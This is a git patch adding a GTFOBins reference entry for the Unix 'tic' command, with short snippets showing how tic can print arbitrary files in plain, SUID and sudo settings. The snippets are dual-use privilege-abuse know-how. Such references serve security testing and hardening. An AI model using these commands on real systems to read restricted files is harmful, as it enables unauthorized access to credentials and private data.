From f4914f6dcbba8171d65eba6555005f50629a30d1 Mon Sep 17 00:00:00 2001 From: tirefire <84106878+tire-fire@users.noreply.github.com> Date: Wed, 18 Aug 2021 12:10:58 +0000 Subject: [PATCH] Add tic --- _gtfobins/tic.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/tic.md diff --git a/_gtfobins/tic.md b/_gtfobins/tic.md new file mode 100644 index 0000000..55832d4 --- /dev/null +++ b/_gtfobins/tic.md @@ -0,0 +1,16 @@ +--- +description: The tic command translates a terminfo file from source format into compiled format. It will attempt to translate an arbitrary file and output the contents of the file on failure, so this may not be suitable to read arbitrary binary data. +functions: + file-read: + - code: | + LFILE=file_to_read + tic -C "$LFILE" + suid: + - code: | + LFILE=file_to_read + ./tic -C "$LFILE" + sudo: + - code: | + LFILE=file_to_read + sudo tic -C "$LFILE" +---